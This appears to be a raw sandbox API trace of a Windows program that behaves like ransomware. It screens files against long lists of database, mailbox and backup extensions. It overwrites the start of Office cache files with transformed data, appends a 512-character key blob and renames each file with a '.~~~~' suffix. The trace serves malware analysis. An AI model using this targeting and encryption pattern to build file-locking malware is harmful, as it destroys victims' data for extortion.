	[0063.269] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0063.330] lstrlenW (lpString=".sqb") returned 4
	[0063.330] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab", lpSrch=".sqb") returned 0x0
	[0063.330] lstrlenW (lpString=".ost") returned 4
	[0063.330] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab", lpSrch=".ost") returned 0x0
	[0063.330] lstrlenW (lpString=".txt") returned 4
	[0063.330] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab", lpSrch=".txt") returned 0x0
	[0063.330] lstrlenW (lpString=".mdt") returned 4
	[0063.330] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab", lpSrch=".mdt") returned 0x0
	[0063.330] lstrlenW (lpString=".BDB") returned 4
	[0063.330] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab", lpSrch=".BDB") returned 0x0
	[0063.330] lstrlenW (lpString=".eql") returned 4
	[0063.330] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab", lpSrch=".eql") returned 0x0
	[0063.330] lstrlenW (lpString=".DBF") returned 4
	[0063.330] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab", lpSrch=".DBF") returned 0x0
	[0063.330] lstrlenW (lpString=".EQL") returned 4
	[0063.330] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab", lpSrch=".EQL") returned 0x0
	[0063.330] lstrlenW (lpString=".FDB") returned 4
	[0063.330] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab", lpSrch=".FDB") returned 0x0
	[0063.331] lstrlenW (lpString=".EDB") returned 4
	[0063.331] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab", lpSrch=".EDB") returned 0x0
	[0063.331] lstrlenW (lpString=".DACPAC") returned 7
	[0063.331] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab", lpSrch=".DACPAC") returned 0x0
	[0063.331] lstrlenW (lpString=".VHD") returned 4
	[0063.331] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab", lpSrch=".VHD") returned 0x0
	[0063.331] lstrlenW (lpString=".DBV") returned 4
	[0063.331] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab", lpSrch=".DBV") returned 0x0
	[0063.331] lstrlenW (lpString=".dacpac") returned 7
	[0063.331] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab", lpSrch=".dacpac") returned 0x0
	[0063.331] lstrlenW (lpString=".sdf") returned 4
	[0063.331] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab", lpSrch=".sdf") returned 0x0
	[0063.331] lstrlenW (lpString=".accdb") returned 6
	[0063.331] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab", lpSrch=".accdb") returned 0x0
	[0063.331] lstrlenW (lpString=".DBX") returned 4
	[0063.331] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab", lpSrch=".DBX") returned 0x0
	[0063.331] lstrlenW (lpString=".MDT") returned 4
	[0063.331] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab", lpSrch=".MDT") returned 0x0
	[0063.331] lstrlenW (lpString=".SQB") returned 4
	[0063.331] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab", lpSrch=".SQB") returned 0x0
	[0063.331] lstrlenW (lpString=".vhd") returned 4
	[0063.331] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab", lpSrch=".vhd") returned 0x0
	[0063.331] lstrlenW (lpString=".bac") returned 4
	[0063.331] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab", lpSrch=".bac") returned 0x0
	[0063.332] lstrlenW (lpString=".mdf") returned 4
	[0063.332] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab", lpSrch=".mdf") returned 0x0
	[0063.332] lstrlenW (lpString=".BAK") returned 4
	[0063.332] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab", lpSrch=".BAK") returned 0x0
	[0063.332] lstrlenW (lpString=".BAC") returned 4
	[0063.332] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab", lpSrch=".BAC") returned 0x0
	[0063.332] lstrlenW (lpString=".dbs") returned 4
	[0063.332] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab", lpSrch=".dbs") returned 0x0
	[0063.332] lstrlenW (lpString=".vhdx") returned 5
	[0063.332] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab", lpSrch=".vhdx") returned 0x0
	[0063.332] lstrlenW (lpString=".NDF") returned 4
	[0063.332] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab", lpSrch=".NDF") returned 0x0
	[0063.332] lstrlenW (lpString=".dat") returned 4
	[0063.332] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab", lpSrch=".dat") returned 0x0
	[0063.332] lstrlenW (lpString=".DBS") returned 4
	[0063.332] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab", lpSrch=".DBS") returned 0x0
	[0063.332] lstrlenW (lpString=".CKP") returned 4
	[0063.332] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab", lpSrch=".CKP") returned 0x0
	[0063.332] lstrlenW (lpString=".edb") returned 4
	[0063.332] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab", lpSrch=".edb") returned 0x0
	[0063.332] lstrlenW (lpString=".PST") returned 4
	[0063.332] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab", lpSrch=".PST") returned 0x0
	[0063.332] lstrlenW (lpString=".dbf") returned 4
	[0063.332] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab", lpSrch=".dbf") returned 0x0
	[0063.333] lstrlenW (lpString=".SQL") returned 4
	[0063.333] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab", lpSrch=".SQL") returned 0x0
	[0063.333] lstrlenW (lpString=".pst") returned 4
	[0063.333] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab", lpSrch=".pst") returned 0x0
	[0063.333] lstrlenW (lpString=".dbv") returned 4
	[0063.333] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab", lpSrch=".dbv") returned 0x0
	[0063.333] lstrlenW (lpString=".SDF") returned 4
	[0063.333] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab", lpSrch=".SDF") returned 0x0
	[0063.333] lstrlenW (lpString=".dtxs") returned 5
	[0063.333] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab", lpSrch=".dtxs") returned 0x0
	[0063.333] lstrlenW (lpString=".db3") returned 4
	[0063.333] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab", lpSrch=".db3") returned 0x0
	[0063.333] lstrlenW (lpString=".OST") returned 4
	[0063.333] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab", lpSrch=".OST") returned 0x0
	[0063.333] lstrlenW (lpString=".dbx") returned 4
	[0063.333] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab", lpSrch=".dbx") returned 0x0
	[0063.333] lstrlenW (lpString=".DB3") returned 4
	[0063.333] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab", lpSrch=".DB3") returned 0x0
	[0063.333] lstrlenW (lpString=".DAT") returned 4
	[0063.333] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab", lpSrch=".DAT") returned 0x0
	[0063.333] lstrlenW (lpString=".VHDX") returned 5
	[0063.333] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab", lpSrch=".VHDX") returned 0x0
	[0063.333] lstrlenW (lpString=".ndf") returned 4
	[0063.333] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab", lpSrch=".ndf") returned 0x0
	[0063.334] lstrlenW (lpString=".DB") returned 3
	[0063.334] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab", lpSrch=".DB") returned 0x0
	[0063.334] lstrlenW (lpString=".sql") returned 4
	[0063.334] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab", lpSrch=".sql") returned 0x0
	[0063.334] lstrlenW (lpString=".MYD") returned 4
	[0063.334] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab", lpSrch=".MYD") returned 0x0
	[0063.334] lstrlenW (lpString=".DBT") returned 4
	[0063.334] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab", lpSrch=".DBT") returned 0x0
	[0063.334] lstrlenW (lpString=".ACCDB") returned 6
	[0063.334] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab", lpSrch=".ACCDB") returned 0x0
	[0063.334] lstrlenW (lpString=".fdb") returned 4
	[0063.334] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab", lpSrch=".fdb") returned 0x0
	[0063.334] lstrlenW (lpString=".bak") returned 4
	[0063.334] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab", lpSrch=".bak") returned 0x0
	[0063.334] lstrlenW (lpString=".myd") returned 4
	[0063.334] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab", lpSrch=".myd") returned 0x0
	[0063.334] lstrlenW (lpString=".DTXS") returned 5
	[0063.334] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab", lpSrch=".DTXS") returned 0x0
	[0063.334] lstrlenW (lpString=".ckp") returned 4
	[0063.334] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab", lpSrch=".ckp") returned 0x0
	[0063.334] lstrlenW (lpString=".dbt") returned 4
	[0063.334] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab", lpSrch=".dbt") returned 0x0
	[0063.334] lstrlenW (lpString=".db") returned 3
	[0063.334] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab", lpSrch=".db") returned 0x0
	[0063.335] lstrlenW (lpString=".TXT") returned 4
	[0063.335] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab", lpSrch=".TXT") returned 0x0
	[0063.335] lstrlenW (lpString=".MDF") returned 4
	[0063.335] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab", lpSrch=".MDF") returned 0x0
	[0063.335] lstrlenW (lpString=".bdb") returned 4
	[0063.335] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab", lpSrch=".bdb") returned 0x0
	[0063.335] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0063.335] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0063.335] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x39eb30
	[0063.335] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362f18
	[0063.335] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x39d948) returned 1
	[0063.338] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362f18 | out: pbBuffer=0x362f18) returned 1
	[0063.338] CryptReleaseContext (hProv=0x39d948, dwFlags=0x0) returned 1
	[0063.338] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362f18 | out: hHeap=0x300000) returned 1
	[0063.339] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0063.339] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x27f9050
	[0063.339] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=18332876354) returned 1
	[0063.339] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0x92e77390, dwHighDateTime=0x1d60e1e)) 
	[0063.339] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0063.339] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0063.339] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x356fc0
	[0063.339] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x35ca78
	[0063.339] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0063.339] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35ca78 | out: hHeap=0x300000) returned 1
	[0063.339] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x39d948
	[0063.339] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0063.339] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3e67d8
	[0063.339] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39d948 | out: hHeap=0x300000) returned 1
	[0063.339] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x39e528
	[0063.339] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e67d8 | out: hHeap=0x300000) returned 1
	[0063.339] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0063.340] GetLastError () returned 0x0
	[0063.340] SetLastError (dwErrCode=0x0) 
	[0063.340] GetLastError () returned 0x0
	[0063.340] SetLastError (dwErrCode=0x0) 
	[0063.340] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0063.340] GetLastError () returned 0x0
	[0063.340] SetLastError (dwErrCode=0x0) 
	[0063.340] GetLastError () returned 0x0
	[0063.340] SetLastError (dwErrCode=0x0) 
	[0063.340] GetLastError () returned 0x0
	[0063.341] SetLastError (dwErrCode=0x0) 
	[0063.341] GetLastError () returned 0x0
	[0063.341] SetLastError (dwErrCode=0x0) 
	[0063.341] GetLastError () returned 0x0
	[0063.341] SetLastError (dwErrCode=0x0) 
	[0063.341] GetLastError () returned 0x0
	[0063.341] SetLastError (dwErrCode=0x0) 
	[0063.341] GetLastError () returned 0x0
	[0063.341] SetLastError (dwErrCode=0x0) 
	[0063.341] GetLastError () returned 0x0
	[0063.341] SetLastError (dwErrCode=0x0) 
	[0063.341] GetLastError () returned 0x0
	[0063.341] SetLastError (dwErrCode=0x0) 
	[0063.341] GetLastError () returned 0x0
	[0063.341] SetLastError (dwErrCode=0x0) 
	[0063.341] GetLastError () returned 0x0
	[0063.341] SetLastError (dwErrCode=0x0) 
	[0063.341] GetLastError () returned 0x0
	[0063.341] SetLastError (dwErrCode=0x0) 
	[0063.342] GetLastError () returned 0x0
	[0063.342] SetLastError (dwErrCode=0x0) 
	[0063.342] GetLastError () returned 0x0
	[0063.342] SetLastError (dwErrCode=0x0) 
	[0063.342] GetLastError () returned 0x0
	[0063.342] SetLastError (dwErrCode=0x0) 
	[0063.342] GetLastError () returned 0x0
	[0063.342] SetLastError (dwErrCode=0x0) 
	[0063.342] GetLastError () returned 0x0
	[0063.342] SetLastError (dwErrCode=0x0) 
	[0063.342] GetLastError () returned 0x0
	[0063.342] SetLastError (dwErrCode=0x0) 
	[0063.342] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39e528 | out: hHeap=0x300000) returned 1
	[0063.342] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x19000) returned 0x3b2038
	[0063.343] ReadFile (in: hFile=0x120, lpBuffer=0x3b2038, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x3b2038*, lpNumberOfBytesRead=0x24dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0063.927] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xfffe7000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0063.927] WriteFile (in: hFile=0x120, lpBuffer=0x3b2038*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x3b2038*, lpNumberOfBytesWritten=0x24dfec0*=0x19000, lpOverlapped=0x0) returned 1
	[0063.928] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b2038 | out: hHeap=0x300000) returned 1
	[0063.928] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0063.928] WriteFile (in: hFile=0x120, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0064.212] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0064.212] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0064.213] CloseHandle (hObject=0x120) returned 1
	[0066.434] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5468
	[0066.434] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\PptLR.cab.~~~~" (normalized: "c:\\msocache\\all users\\{90140000-0018-0409-1000-0000000ff1ce}-c\\pptlr.cab.~~~~")) returned 1
	[0066.435] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a5468 | out: hHeap=0x300000) returned 1
	[0066.435] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x356fc0 | out: hHeap=0x300000) returned 1
	[0066.435] GetLastError () returned 0x0
	[0066.435] SetLastError (dwErrCode=0x0) 
	[0066.435] GetLastError () returned 0x0
	[0066.435] SetLastError (dwErrCode=0x0) 
	[0066.435] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3623e0 | out: hHeap=0x300000) returned 1
	[0066.435] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362400 | out: hHeap=0x300000) returned 1
	[0066.435] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x368bb0 | out: hHeap=0x300000) returned 1
	[0066.435] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27f9050 | out: hHeap=0x300000) returned 1
	[0066.437] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x39eb30 | out: hHeap=0x300000) returned 1
	[0066.437] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e65e0 | out: hHeap=0x300000) returned 1
	[0066.437] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e6688 | out: hHeap=0x300000) returned 1
	[0066.437] RtlWakeConditionVariable () returned 0x365f70
	[0066.437] GetCurrentThreadId () returned 0x3a4
	[0066.437] GetCurrentThreadId () returned 0x3a4
	[0066.437] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e6688
	[0066.437] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e69d0 | out: hHeap=0x300000) returned 1
	[0066.437] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x35c8b8 | out: hHeap=0x300000) returned 1
	[0066.437] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e69d0
	[0066.437] lstrlenW (lpString=".scr") returned 4
	[0066.437] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".scr") returned 0x0
	[0066.437] lstrlenW (lpString=".cmd") returned 4
	[0066.437] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".cmd") returned 0x0
	[0066.437] lstrlenW (lpString=".dll") returned 4
	[0066.437] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".dll") returned 0x0
	[0066.437] lstrlenW (lpString=".bat") returned 4
	[0066.437] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".bat") returned 0x0
	[0066.437] lstrlenW (lpString=".cpl") returned 4
	[0066.437] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".cpl") returned 0x0
	[0066.438] lstrlenW (lpString=".sys") returned 4
	[0066.438] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".sys") returned 0x0
	[0066.438] lstrlenW (lpString=".msc") returned 4
	[0066.438] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".msc") returned 0x0
	[0066.438] lstrlenW (lpString=".com") returned 4
	[0066.438] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".com") returned 0x0
	[0066.438] lstrlenW (lpString=".lnk") returned 4
	[0066.438] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".lnk") returned 0x0
	[0066.438] lstrlenW (lpString=".msp") returned 4
	[0066.438] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".msp") returned 0x0
	[0066.438] lstrlenW (lpString=".pif") returned 4
	[0066.438] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".pif") returned 0x0
	[0066.438] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0066.438] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch="msp\r\n.pif") returned 0x0
	[0066.439] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x120
	[0066.439] lstrlenW (lpString=".sqb") returned 4
	[0066.439] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".sqb") returned 0x0
	[0066.439] lstrlenW (lpString=".ost") returned 4
	[0066.439] StrStrW (lpFirst="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml", lpSrch=".ost") returned 0x0
	[0066.439] lstrlenW (lpString=".txt") returned 4
